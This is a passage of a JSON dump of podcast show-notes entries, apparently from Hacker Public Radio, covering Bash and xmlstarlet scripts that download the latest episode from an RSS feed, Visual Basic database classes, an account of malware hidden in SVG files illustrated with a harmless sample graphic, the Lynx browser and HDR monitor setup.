data-type=\"text\"\n      Z is U - for case-order=\"upper-first\"\n      Z is L - for case-order=\"lower-first\"\n
                                                            \n

                                                            \nOptions we will need are:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n-T or --text              - output is text (default is XML)\n-t|--template <options> where <options>\n-m or --match <xpath>     - match XPATH expression\n-v or --value-of <xpath>  - print value of XPATH expression\n-n or --nl                - print new line\n
                                                            \n

                                                            \nSo putting it together we will get:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet sel --text --template --match 'rss/channel/item' --value-of 'enclosure/@url' --nl  tuxjam.xml \nhttps://archive.org/download/tuxjam-121/tuxjam_121.ogg\nhttps://archive.org/download/tuxjam-120/TuxJam_120.ogg\nhttps://archive.org/download/tux-jam-119/TuxJam_119.ogg\nhttps://archive.org/download/tuxjam_118/tuxjam_118.ogg\nhttps://archive.org/download/tux-jam-117-uncut/TuxJam_117.ogg\nhttps://archive.org/download/tuxjam_116/tuxjam_116.ogg\nhttp://tuxjam.otherside.network/wp-content/uploads/sites/5/2024/10/tuxjam_115_OggCamp2024.ogg\nhttps://archive.org/download/tuxjam_114/tuxjam_114.ogg\nhttps://archive.org/download/tuxjam_113/tuxjam_113.ogg\nhttps://archive.org/download/tuxjam_112/tuxjam_112.ogg\n
                                                            \n

                                                            \nWe match for all the \nrss/channel/item\n and look for any \nenclosure/@url\ns, simple enough.

                                                            \n

                                                            \nWe could replace the grep in Kevie's script,

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nwget `curl https://tuxjam.otherside.network/feed/podcast/ | grep -o 'https*://[^\"]*ogg' | head -1`\n
                                                            \n

                                                            \nwith,

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nwget \"$( curl --silent https://tuxjam.otherside.network/feed/podcast/ | xmlstarlet sel --text --template --match 'rss/channel/item' --value-of 'enclosure/@url' --nl  - | head -1 )\"\n
                                                            \n

                                                            \nWhich would guarantee to give the \"first entry in the feed\". Some additions is the use of \n$()\n instead of back ticks, as it's easier to nest them, and I think it's clearer that something is been executed. I also added \n--silent\n to \ncurl\n to suppress the progress bar. Also replaced the file name with \n-\n dash to tell \nxmlstarlet\n that the input will be piped from standard in.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHow about the latest feed ?

                                                            \n

                                                            \nThere is nothing to stop someone producing a RSS feed where the latest entries are at the end, or even sorted alphabetically, or random. They are all valid use cases and are allowed under the Specification. So how would we find the \"latest podcast\" ?.

                                                            \n

                                                            \nWhile defined as optional, the \nitems\n \npubDate\n found at \nrss/channel/item/pubDate\n, is usually also always defined in podcast feeds.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n<pubDate> is an optional sub-element of <item>.\n\nIts value is a date, indicating when the item was published. If it's a date in the future, aggregators may choose to not display the item until that date.\n\n<pubDate>Sun, 19 May 2002 15:21:36 GMT</pubDate>\n
                                                            \n

                                                            \nUnfortunately they picked a completely stupid \nemail date format\n, as opposed to a \nsane format\n like \nrfc3339\n a subset of \niso8601\n.

                                                            \n

                                                            \nSo if you want to get the \"latest podcast\" you need to parse then convert the \npubDate\n to sortable format like \niso8601\n or \nUnix epoch\n.

                                                            \n

                                                            \nI'll do the first part here, the second is it's own (series) of shows. \nThe Problem with Time & Timezones - Computerphile\n

                                                            \n

                                                            \nSo could it be as simple as replacing the xpath \nenclosure/@url\n of with \npubDate\n ? Yes, yes it is.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet sel --text --template --match 'rss/channel/item' --value-of 'pubDate' --nl  tuxjam.xml \nFri, 23 May 2025 17:54:17 +0000\nFri, 28 Feb 2025 15:48:57 +0000\nMon, 03 Feb 2025 09:57:26 +0000\nSat, 21 Dec 2024 17:08:26 +0000\nThu, 05 Dec 2024 12:57:52 +0000\nSat, 30 Nov 2024 20:31:20 +0000\nWed, 30 Oct 2024 08:10:58 +0000\nMon, 26 Aug 2024 15:11:51 +0000\nFri, 05 Jul 2024 18:15:44 +0000\nSat, 08 Jun 2024 09:21:50 +0000\n
                                                            \n

                                                            \nBut we will need both the \nenclosure/@url\n and \npubDate\n, and we can do this using the \nconcat\n option. For more information on this see the \nXmlStarlet Command Line XML Toolkit User's Guide\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n$ xmlstarlet sel --text --template --match 'rss/channel/item' --value-of 'concat(pubDate, \";\", enclosure/@url)' --nl  tuxjam.xml \nFri, 23 May 2025 17:54:17 +0000;https://archive.org/download/tuxjam-121/tuxjam_121.ogg\nFri, 28 Feb 2025 15:48:57 +0000;https://archive.org/download/tuxjam-120/TuxJam_120.ogg\nMon, 03 Feb 2025 09:57:26 +0000;https://archive.org/download/tux-jam-119/TuxJam_119.ogg\nSat, 21 Dec 2024 17:08:26 +0000;https://archive.org/download/tuxjam_118/tuxjam_118.ogg\nThu, 05 Dec 2024 12:57:52 +0000;https://archive.org/download/tux-jam-117-uncut/TuxJam_117.ogg\nSat, 30 Nov 2024 20:31:20 +0000;https://archive.org/download/tuxjam_116/tuxjam_116.ogg\nWed, 30 Oct 2024 08:10:58 +0000;http://tuxjam.otherside.network/wp-content/uploads/sites/5/2024/10/tuxjam_115_OggCamp2024.ogg\nMon, 26 Aug 2024 15:11:51 +0000;https://archive.org/download/tuxjam_114/tuxjam_114.ogg\nFri, 05 Jul 2024 18:15:44 +0000;https://archive.org/download/tuxjam_113/tuxjam_113.ogg\nSat, 08 Jun 2024 09:21:50 +0000;https://archive.org/download/tuxjam_112/tuxjam_112.ogg\n
                                                            \n

                                                            \nI use the \n;\n as delimiter.

                                                            \n

                                                            \nTo tackle the date we will need to use the \ndate\n command with the following options:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n-d, --date=STRING\n      display time described by STRING, not 'now'\n-u, --utc, --universal\n      print or set Coordinated Universal Time (UTC)\n
                                                            \n

                                                            \nThe once it's in a sane format we can use the \nsort\n to sort them with the newest on the top.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n-n, --numeric-sort\n      compare according to string numerical value; see full documentation for supported strings\n-r, --reverse\n      reverse the result of comparisons\n
                                                            \n

                                                            \nPutting that into a script

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n#!/bin/bash\n# (c) CC-0 Ken Fallon 2025\n\npodcast=\"https://tuxjam.otherside.network/feed/podcast/\"\n\n\nwget --quiet $( curl --silent \"${podcast}\" | \\\nxmlstarlet sel --text --template --match 'rss/channel/item' --value-of 'concat(pubDate, \";\", enclosure/@url)' --nl - | \\\nwhile read item\ndo\n  pubDate=\"$( echo ${item} | awk -F ';' '{print $1}' )\"\n  pubDate=\"$( \\date -d \"${pubDate}\" --universal +%Y-%m-%dT%H:%M:%S )\"\n  url=\"$( echo ${item} | awk -F ';' '{print $2}' )\"\n  echo -e \"${pubDate}\\t${url}\"\ndone | \\\nsort --numeric-sort --reverse | \\\nhead -1 | \\\nawk '{print $NF}' )\n
                                                            \n

                                                            \nAdmittedly it's a smidgen linger than Kevies in it's one liner format.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nwget \"$( curl --silent \"https://tuxjam.otherside.network/feed/podcast/\" | xmlstarlet sel --text --template --match 'rss/channel/item' --value-of 'concat(pubDate, \";\", enclosure/@url)' --nl - | while read item; do pubDate=\"$( echo ${item} | awk -F ';' '{print $1}' )\"; pubDate=\"$( \\date -d \"${pubDate}\" --universal +%Y-%m-%dT%H:%M:%S )\"; url=\"$( echo ${item} | awk -F ';' '{print $2}' )\"; echo -e \"${pubDate}\\t${url}\"; done | sort --numeric-sort --reverse | head -1 | awk '{print $NF}' )\"\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"xml,xmlstarlet,rss,podcast","version":0,"downloads":0,"valid":1}, {"id":4405,"date":"2025-06-20","title":"What did I do at work today?","duration":4170,"summary":"Lee does some coding and testing for a class library that accesses a database","notes":"\n

                                                            \nThis is about developing Visual Basic classes for a web application. The classes access an SQL Server database via Stored Procedures.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTests.vb

                                                            \n
                                                            \nPrivate Sub ResourceTypeTests()\n    ResourceTypeAddTest()\n    ResourceTypeGetTest()\nEnd Sub\n\nPrivate Sub ResourceTypeAddTest()\n    Dim fake As New Fake\n\n    Console.WriteLine(\"Adding resource type\")\n    Console.WriteLine()\n\n    Dim objResourceType As New ResourceType With {\n        .ResourceTypeID = 0,\n        .ResourceTypeName = fake.Noun\n    }\n    OutputResourceType(objResourceType)\n    Dim ResourceTypeID As Integer = objResourceType.Add()\n    Console.WriteLine(\"Added Resource Type ID \" & ResourceTypeID)\n    Console.WriteLine()\n\n    Console.WriteLine(\"Modifying resource type with ID \" & ResourceTypeID)\n    Console.WriteLine()\n\n    fake = New Fake\n    With objResourceType\n        .ResourceTypeID = ResourceTypeID\n        .ResourceTypeName = fake.Noun\n    End With\n    Console.WriteLine(\"Modification\")\n    OutputResourceType(objResourceType)\n    Dim newResourceTypeID As Integer = objResourceType.Add()\n    Console.WriteLine(\"Modified ResourceTypeID \" & newResourceTypeID)\n    Console.WriteLine()\nEnd Sub\n\nPrivate Sub ResourceTypeGetTest()\n    Console.WriteLine(\"Fetching resource types\")\n    Console.WriteLine()\n    Dim objResourceType As New ResourceType()\n    Dim ResourceTypeList As List(Of ResourceType) = objResourceType.GetResourceTypes()\n    For Each ResourceType As ResourceType In ResourceTypeList\n        OutputResourceType(ResourceType)\n    Next\nEnd Sub\n\nPrivate Sub OutputResourceType(ResourceType As ResourceType)\n    Console.WriteLine(\"Resource Type ID \" & ResourceType.ResourceTypeID)\n    Console.WriteLine(\"Resource Type Name \" & ResourceType.ResourceTypeName)\n    Console.WriteLine()\nEnd Sub\n
                                                            \n

                                                            \nResourceType.vb

                                                            \n
                                                            \nPublic Class ResourceType\n    Private m_ResourceTypeID As Integer\n    Private m_ResourceTypeName As String\n\n    Private ReadOnly dataFields As New List(Of String) From {\n        \"ResourceTypeID\", \"ResourceTypeName\"\n    }\n\n    Private ReadOnly objFields = dataFields\n\n    Dim objGlobals As New Globals\n    Dim _ConnectionString As String = objGlobals.getConnectionString()\n\n    Property ResourceTypeID As Integer\n        Get\n            ResourceTypeID = m_ResourceTypeID\n        End Get\n        Set(value As Int32)\n            m_ResourceTypeID = value\n        End Set\n    End Property\n\n    Property ResourceTypeName As String\n        Get\n            ResourceTypeName = m_ResourceTypeName\n        End Get\n        Set(value As String)\n            m_ResourceTypeName = value\n        End Set\n    End Property\n\n    Public Function Add() As Int32\n        Dim ReturnValue As Int32\n        Try\n            ReturnValue = StoredProcOutInt(\n                _ConnectionString, \"dbo.ResourceType_Add\", Me,\n                dataFields, objFields, \"NewResourceTypeID\"\n            )\n        Catch ex As Exception\n            ErrorRecorder(\"Resource.Add\", ex.Message, ex.Data.ToString)\n            ReturnValue = 0\n        End Try\n        Return ReturnValue\n    End Function\n\n    Public Function GetResourceTypes() As List(Of ResourceType)\n        Dim ObjResourceTypes As New List(Of ResourceType)\n        Try\n            StoredProc(Of ResourceType)(\n            _ConnectionString, \"dbo.ResourceType_Get\",\n            dataFields, objFields, ObjResourceTypes\n        )\n        Catch ex As Exception\n            ErrorRecorder(\"ResourceType.GetResourceTypes\", ex.Message, ex.Data.ToString)\n        End Try\n        Return ObjResourceTypes\n    End Function\nEnd Class\n
                                                            \n

                                                            \nResourceType_Add.sql

                                                            \n
                                                            \nSET QUOTED_IDENTIFIER ON\nGO\nSET ANSI_NULLS ON\nGO\n\nCREATE PROCEDURE [dbo].[ResourceType_Add]\n    @ResourceTypeID INT,\n    @ResourceTypeName NVARCHAR(100),    \n    @NewResourceTypeID INT OUTPUT\nAS\nBEGIN\n    SET NOCOUNT ON;\n\n    IF @ResourceTypeID = 0\n        BEGIN\n            INSERT INTO dbo.ResourceType\n                    ( ResourceType_Name                    \n                    )\n            VALUES  ( @ResourceTypeName\n                    )\n            SET @NewResourceTypeID = SCOPE_IDENTITY()\n        END\n    ELSE\n        BEGIN\n            UPDATE dbo.ResourceType\n            SET ResourceType_Name = @ResourceTypeName                \n            WHERE ResourceTypeID = @ResourceTypeID\n            SET @NewResourceTypeID = @ResourceTypeID\n        END    \nEND\nGO\n
                                                            \n

                                                            \nResourceType_Get.sql

                                                            \n
                                                            \nSET QUOTED_IDENTIFIER ON\nGO\nSET ANSI_NULLS ON\nGO\n\n\nCREATE PROCEDURE [dbo].[ResourceType_Get]\nAS\nBEGIN\n    SET NOCOUNT ON;\n\n    SELECT ResourceTypeID AS ResourceTypeID,\n        ResourceType_Name AS ResourceTypeName\n    FROM dbo.ResourceType\nEND\nGO\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"visual basic, testing, sql server","version":0,"downloads":0,"valid":1}, {"id":4406,"date":"2025-06-23","title":"SVG Files: Cyber Threat Hidden in Images","duration":505,"summary":"Out of nowhere, my Firefox browser on my Mac mini started automatically adding every page I visited ","notes":" \n

                                                            Out of nowhere, my Firefox browser on my Mac mini started\n automatically adding every page I visited to my bookmarks. At\n first, I thought it was a bug after recent update —maybe a\n misconfigured setting or similar. But when I searched for a fix,\n Google suggested something alarming: Scan for malware. And guess\n what? The source of my trouble turned out to be an 4 SVG files\n hiding malicious code.

                                                            \n

                                                            That’s right—those innocent-looking vector graphics files we use\n every day for logos, icons, and web design? They can secretly\n carry malware. In my case those were the files, a logos of\n reputable delivery companies like deliveroo and JustEat which I\n have downloaded while I was updating a website for my client.\n Today, we’re breaking down how SVG files are being weaponized, why\n they’re so effective, and how to protect yourself.

                                                            \n


                                                            \n

                                                            \n example of svg file\n
                                                            \n\n<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" width="120" height="160" viewBox="0 0 120 160">\n  <!-- Animated Bodhi Leaf -->\n  <path id="bodhi-leaf" d="M60 10 Q30 40 20 80 Q15 120 60 150     Q105 120 100 80 Q90 40 60 10 Z" stroke="#1E5631" stroke-width="2">\n    <animate attributeName="fill" values="white;#FFD700;#2E8B57;#4682B4;#FF0000;#800080;#808080;black;white" dur="8s" repeatCount="indefinite"/>\n  </path>\n  <!-- Static veins (contrast with leaf) -->\n  <path d="M60 10 L60 150" stroke="#1E5631" stroke-width="1.5"/>\n  <g stroke="#1E5631" stroke-width="1">\n    <path d="M60 30 Q45 35 40 50"/>\n    <path d="M60 30 Q75 35 80 50"/>\n    <path d="M60 60 Q40 70 35 90"/>\n    <path d="M60 60 Q80 70 85 90"/>\n    <path d="M60 90 Q50 100 45 120"/>\n    <path d="M60 90 Q70 100 75 120"/>\n  </g>\n</svg>\n\n\n
                                                            ","hostid":447,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"svh","version":0,"downloads":0,"valid":1}, {"id":4407,"date":"2025-06-24","title":"A 're-response' Bash script","duration":754,"summary":"My take on Ken's response to Kevie's show 4398","notes":"\n
                                                            \n\n

                                                            \nIntroduction

                                                            \n\n

                                                            \nOn 2025-06-19 Ken Fallon did a show, number \n4404\n,\nresponding to Kevie's show \n4398\n,\nwhich came out on 2025-06-11.

                                                            \n\n

                                                            \nKevie was using a Bash pipeline to find the latest episode in an RSS\nfeed, and download it. He used \ngrep\n to parse the XML of the\nfeed.

                                                            \n\n

                                                            \nKen's response was to suggest the use of \nxmlstarlet\n to\nparse the XML because such a complex structured format as XML cannot\nreliably be parsed without a program that \"understands\" the intricacies\nof the format's structure. The same applies to other complex formats\nsuch as HTML, YAML and JSON.

                                                            \n\n

                                                            \nIn his show Ken presented a Bash script which dealt with this problem\nand that of the ordering of episodes in the feed. He asked how others\nwould write such a script, and thus I was motivated to produce this\nresponse to his response!

                                                            \n\n

                                                            \nAlternative script

                                                            \n\n

                                                            \nMy script is a remodelling of Ken's, not a completely different\nsolution. It contains a few alternative ways of doing what Ken did, and\na reordering of the parts of his original. We will examine the changes\nin this episode.

                                                            \n\n

                                                            \nScript

                                                            \n\n
                                                            \n\n#!/bin/bash\n# Original (c) CC-0 Ken Fallon 2025\n# Modified by Dave Morriss, 2025-06-14 (c) CC-0\n\npodcast="https://tuxjam.otherside.network/feed/podcast/"\n\n# [1]\nwhile read -r item\ndo\n    # [2]\n    pubDate="${item%;*}"\n    # [3]\n    pubDate="$( \date --date="${pubDate}" --universal +%FT%T )"\n    # [4]\n    url="${item#*;}"\n    # [5]\n    echo "${pubDate};${url}"\ndone < <(curl --silent "${podcast}" | \\n    xmlstarlet sel --text --template --match 'rss/channel/item' \\n    --value-of 'concat(pubDate, ";", enclosure/@url)' --nl - ) | \\nsort --numeric-sort --reverse | \\nhead -1 | \\ncut -f2 -d';' | wget --quiet --input-file=- # [6]\n
                                                            \n\n

                                                            \nI have placed some comments in the script in the form of\n\n'# [1]'\n and I'll refer to these as I describe the changes\nin the following numbered list.

                                                            \n\n

                                                            \n\n\nNote:\n I checked, and the script will run with the\ncomments, though they are only there to make it easier to refer to\nthings.\n

                                                            \n\n
                                                              \n\n
                                                            1. \n

                                                              \nThe format of the pipeline is different. It starts by defining a\n\nwhile\n loop, but the data which the \nread\n\ncommand receives comes from a \nprocess substitution\n of the form\n\n'<(statements)'\n (see the \n\nprocess\nsubstitution section\n of \"hpr2045 :: Some other Bash tips\"\n). I\nhave arranged the pipeline in this way because it's bad practice to\nplace a \nwhile\n in a pipeline, as discussed in the show: \nhpr3985 :: Bash snippet - be careful when feeding data to\nloops\n.
                                                              \n\n\n(I added \n-r\n to the \nread\n because\n\nshellcheck\n, which I run in the \nvim\n editor,\nnagged me!)\n

                                                              \n
                                                            2. \n\n
                                                            3. \n

                                                              \nThe lines coming from the \nprocess substitution\n are from\nrunning \ncurl\n to collect the feed, then using\n\nxmlstarlet\n to pick out the \npubDate\n field of\nthe item, and the \nurl\n attribute of the\n\nenclosure\n field returning them as two strings separated by\na semicolon (\n';'\n). This is from Ken's original code. Each\nline is read into the variable \nitem\n, and the first element\n(before the semicolon) is extracted with the Bash expression\n\n\"${item%;*}\"\n. Parameter manipulation expressions were\nintroduced in \nHPR show\n1648\n. See the full notes section \nRemove\nmatching suffix pattern\n for this one.

                                                              \n
                                                            4. \n\n
                                                            5. \n

                                                              \nI modified Ken's \ndate\n command to simplify the\ngeneration of the ISO8601 date and time by using the pattern\n\n+%FT%T\n. This just saves typing!

                                                              \n
                                                            6. \n\n
                                                            7. \n

                                                              \nThe \nurl\n value is extracted from the contents of\n\nitem\n with the expression \n\"${item#*;}\n. See the\nsection of show 1648 entitled \nRemove\nmatching prefix pattern\n for details.

                                                              \n
                                                            8. \n\n
                                                            9. \n

                                                              \nThe \necho\n which generates the list of podcast URLs\nprefixed with an ISO time stamp uses \n';'\n as the delimiter\nwhere Ken used a \ntab\n character. I assume this was done for\nthe benefit of either the following \nsort\n or the\n\nawk\n script. It's not needed for \nsort\n since it\nsorts the line as-is and doesn't use fields. My version doesn't use\n\nawk\n.

                                                              \n
                                                            10. \n\n
                                                            11. \n

                                                              \nRather than using \nawk\n I use \ncut\n to\nremove the time stamp from the front of each line, returning the second\nfield delimited by the semicolon. The result of this will be the URL for\n\nwget\n to download. In this case \nwget\n receives\nthe URL on standard input (\nSTDIN\n), and the\n\n--input-file=-\n option tells it to use that information for\nthe download.

                                                              \n
                                                            12. \n\n
                                                            \n\n

                                                            \nConclusion

                                                            \n\n

                                                            \nI'm not sure my solution is \nbetter\n in any significant way. I\nprefer to use Bash functionality to do things where calling\n\nawk\n or \nsed\n could be overkill, but that's just\na personal preference.

                                                            \n\n

                                                            \nI might have replaced the \nhead\n and \ncut\n with\na \nsed\n expression, such as the following as the last\nline:

                                                            \n\n
                                                            \n\nsed -e '1{s/^.\+;//;q}' | wget --quiet --input-file=-\n
                                                            \n\n

                                                            \nHere, the \nsed\n expression operates on the first line from\nthe \nsort\n, where it removes everything from the start of the\nline to the semicolon. The expression then causes \nsed\n to\nquit, so that only the edited first line is passed to\n\nwget\n.

                                                            \n\n

                                                            \nLinks

                                                            \n\n
                                                              \n\n
                                                            • \n\nhpr1648 ::\nBash parameter manipulation\n\n
                                                                \n\n
                                                              • \n\nSection\nentitled \nRemove matching suffix pattern\n\n
                                                              • \n\n
                                                              • \n\nSection\nentitled \nRemove matching prefix pattern\n\n
                                                              • \n\n
                                                              • \n\nDiagram\nshowing the Bash parameter manipulation methods\n
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            • \n\nhpr2045 ::\nSome other Bash tips\n\n
                                                                \n\n
                                                              • \n\nSection\non \nprocess substitution\n\n
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            • \n\nhpr3985 :: Bash snippet - be careful when feeding data to\nloops\n
                                                            • \n\n
                                                            • \n\nhpr4398 ::\nCommand line fun: downloading a podcast \nby Kevie\n\n
                                                            • \n\n
                                                            • \n\nhpr4404 ::\nKevie nerd snipes Ken by grepping xml \nby Ken Fallon\n\n
                                                            • \n\n
                                                            \n\n
                                                            \n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Bash,scripting","version":0,"downloads":0,"valid":1}, {"id":4408,"date":"2025-06-25","title":"Lynx - Old School Browsing","duration":1353,"summary":"Kevie takes a look at the Lynx command line browser","notes":"\n

                                                            \n\nKevie\n, from the \nTuxJam\n podcast, takes a look at the \nLynx\n command line browser and briefly discusses it's uses and if it still has a place in our modern times.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSome Useful Hot-keys:

                                                            \n

                                                            \n\ng\n to go to a specific website

                                                            \n

                                                            \n\nm\n goes to your start page (Main screen is what Lynx calls it)

                                                            \n

                                                            \n\no\n for options

                                                            \n

                                                            \n\nh\n for help

                                                            \n

                                                            \n\np\n for print

                                                            \n

                                                            \n\nq\n to quit program

                                                            \n

                                                            \n\n/\n search for text on a page

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNavigation

                                                            \n

                                                            \n\n<\n previous page

                                                            \n

                                                            \n\n>\n forward page

                                                            \n

                                                            \n\nup\n and \ndown\n move between links on the page. Down or left will also cancel a command if pressed accidentally.

                                                            \n

                                                            \n\nPg Up\n and \nPg Down\n scroll up or down a whole screen at a time.

                                                            \n

                                                            \n\nctrl n\n (down or next) and \nctrl p\n (up or previous) will move the page up and down a couple of lines

                                                            \n

                                                            \n\na\n will add the current page to the bookmarks list

                                                            \n

                                                            \n\nv\n views the list of bookmarks

                                                            \n

                                                            \n\n,\n open the current page in another browser

                                                            \n

                                                            \n\nG\n displays the URL and allows editing

                                                            \n

                                                            \n\nctrl L\n reloads the current page

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSome Basic Config Edits:

                                                            \n

                                                            \nEdit the file /etc/lynx/lynx.cfg (You will need to used sudo privileges to edit a system file)

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTo change the starting page go to Line 111 and add

                                                            \n

                                                            \nSTARTFILE:YOUR_CHOSEN_PAGE_URL

                                                            \n

                                                            \nI used https://duckduckgo.com/lite

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDon't forget to comment out the default one at line 105

                                                            \n

                                                            \nTo change the browser to open a link, go to Line 3141 and add

                                                            \n

                                                            \nEXTERNAL:http:BROSWER_LAUNCH_COMMAND %s:TRUE

                                                            \n

                                                            \nTo use the default browser on modern Linux systems add xdg-open

                                                            \n\n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CLI, command line, browsing, Linux","version":0,"downloads":0,"valid":1}, {"id":4409,"date":"2025-06-26","title":"H D R Ridiculous Monitor","duration":1329,"summary":"The presenter discusses configuring monitor settings for development, emphasizing HDR calibration an","notes":"


                                                            \n
                                                            \n Never fan of duel monitors
                                                            \n

                                                            \n

                                                            Mother inlaw had a better monitor then me
                                                            \n https://slickdeals.net
                                                            \n
                                                            \n 4:3, 16:9, 21:9 (Ratio calculator)
                                                            \n
                                                            \n Samsung 49\" Class Odyssey G95C DQHD 240Hz Curved Gaming Monitor\n LS49CG95DENXZA
                                                            \n US $646.49
                                                            \n
                                                            \n posture / arms out / screen position / mouse shoulder
                                                            \n
                                                            \n For car sim and gaming not for DEV
                                                            \n
                                                            \n Virtual Monitor for Display Port connections
                                                            \n https://github.com/roshkins/IddSampleDriver
                                                            \n
                                                            \n HDR profiles for windows HDR calibration
                                                            \n \n https://github.com/dylanraga/win11hdr-srgb-to-gamma2.2-icm
                                                            \n
                                                            \n avsforum HDR10 test patterns set
                                                            \n \nhttps://www.avsforum.com/threads/hdr10-test-patterns-set.2943380/
                                                            \n
                                                            \n Set and Forget HDR on Win11. Works for Black Myth Wukong. Sdr Hdr\n Trick
                                                            \n \n https://www.youtube.com/watch?v=EPUKW3xLTNM
                                                            \n
                                                            \n Talk about Gameplay / Lighting /HDR / Bright
                                                            \n
                                                            \n High contrast
                                                            \n https://github.com/freeload101/SCRIPTS/blob/6059ce43696e3c8101926da7959bebafbd0ab3b6/AutoHotkey/C0ffee%20Anti%20Idle%20v2.ahk#L130
                                                            \n
                                                            \n

                                                            \n

                                                            SUMMARY

                                                            \n

                                                            The presenter discusses configuring monitor settings for\n development, emphasizing HDR calibration and multi-monitor\n productivity.

                                                            \n

                                                            IDEAS

                                                            \n
                                                              \n
                                                            1. \n

                                                              Calibrating a monitor's HDR settings can significantly\n improve image quality by adjusting brightness and color.

                                                              \n
                                                            2. \n
                                                            3. \n

                                                              Using HDR (High Dynamic Range) enhances the visual experience\n by improving contrast and color accuracy.

                                                              \n
                                                            4. \n
                                                            5. \n

                                                              Adjusting black levels and brightness helps in achieving\n optimal visibility for both bright and dark scenes.

                                                              \n
                                                            6. \n
                                                            7. \n

                                                              The calibration of HDR settings involves fine-tuning various\n parameters like gamma, whites, and blacks.

                                                              \n
                                                            8. \n
                                                            9. \n

                                                              Multi-monitor setups can enhance productivity by allowing\n more efficient workspace organization.

                                                              \n
                                                            10. \n
                                                            11. \n

                                                              Curved monitors may benefit development tasks by providing a\n larger visual area without needing multiple displays.

                                                              \n
                                                            12. \n
                                                            13. \n

                                                              Managing dual monitors requires spatial awareness to\n efficiently switch focus between screens.

                                                              \n
                                                            14. \n
                                                            15. \n

                                                              Windows' snapping features help in organizing windows on\n multi-monitor setups, enhancing workflow efficiency.

                                                              \n
                                                            16. \n
                                                            17. \n

                                                              The presenter finds the transition from dual monitors to a\n single large curved monitor advantageous for productivity.

                                                              \n
                                                            18. \n
                                                            19. \n

                                                              A larger screen real estate reduces the need for physical\n separation of workspaces, easing multitasking.

                                                              \n
                                                            20. \n
                                                            \n

                                                            QUOTES

                                                            \n
                                                              \n
                                                            1. \n

                                                              \"I will be looking at calibrating my monitor's HDR settings.\"

                                                              \n
                                                            2. \n
                                                            3. \n

                                                              \"Let me know if you have any questions or suggestions in\n regards to these videos...\"

                                                              \n
                                                            4. \n
                                                            5. \n

                                                              \"HDR is an incredible technology that allows us to see better\n contrast and colors on our screens.\"

                                                              \n
                                                            6. \n
                                                            7. \n

                                                              \"That way we can achieve a much more dynamic range of colors\n while playing games and watching media on our TVs, computer\n monitors, phones, etc.\"

                                                              \n
                                                            8. \n
                                                            9. \n

                                                              \"It will be a bit different between calibrating a normal\n monitor with SDR to a HDR-enabled display.\"

                                                              \n
                                                            10. \n
                                                            11. \n

                                                              \"So if the blacks are too bright then you won't really see\n the black levels as well.\"

                                                              \n
                                                            12. \n
                                                            13. \n

                                                              \"The idea is that your brightest whites should be at 100% and\n your darkest blacks should be around 0%.\"

                                                              \n
                                                            14. \n
                                                            15. \n

                                                              \"With this being said, I've never had a lot of luck with\n using my Windows HDR settings before.\"

                                                              \n
                                                            16. \n
                                                            17. \n

                                                              \"A lot of people say don't buy a curved monitor for\n production stuff.\"

                                                              \n
                                                            18. \n
                                                            19. \n

                                                              \"And now I have like basically three monitors.\"

                                                              \n
                                                            20. \n
                                                            \n

                                                            RECOMMENDATIONS

                                                            \n
                                                              \n
                                                            1. \n

                                                              Calibrate your monitor's HDR settings to enhance color and\n contrast.

                                                              \n
                                                            2. \n
                                                            3. \n

                                                              Adjust brightness, gamma, whites, and blacks for optimal\n visibility in various lighting conditions.

                                                              \n
                                                            4. \n
                                                            5. \n

                                                              Utilize Windows snapping features for efficient window\n management on multi-monitor setups.

                                                              \n
                                                            6. \n
                                                            7. \n

                                                              Consider transitioning to a single curved monitor for\n improved productivity and workspace real estate.

                                                              \n
                                                            8. \n
                                                            9. \n

                                                              Familiarize yourself with the tabbing system to ensure input\n is directed to the correct window.

                                                              \n
                                                            10. \n
                                                            11. \n

                                                              Experiment with panel sizes in your multi-monitor setup to\n find a configuration that suits your workflow.

                                                              \n
                                                            12. \n
                                                            13. \n

                                                              Ensure proper calibration of both SDR and HDR displays to\n achieve the best visual experience.

                                                              \n
                                                            14. \n
                                                            15. \n

                                                              Adjust black levels so they are not too bright, maintaining\n clear visibility of darker scenes.

                                                              \n
                                                            16. \n
                                                            17. \n

                                                              Set whites to 100% for better representation of bright areas\n in images and videos.

                                                              \n
                                                            18. \n
                                                            19. \n

                                                              Explore different monitor configurations to determine what\n enhances your productivity the most.

                                                              \n
                                                            20. \n
                                                            \n

                                                            ONE SENTENCE SUMMARY

                                                            \n

                                                            The presenter shares insights on optimizing HDR monitor settings\n and maximizing productivity with multi-monitor setups for\n development tasks.

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HDR calibration, Monitor settings, Multi-monitor setup, Productivity tips, Development tools, Color ","version":0,"downloads":0,"valid":1}, {"id":4410,"date":"2025-06-27","title":"Civilization V","duration":873,"summary":"A first look at the next version of Civilization from 2010, Civilization V","notes":"\n

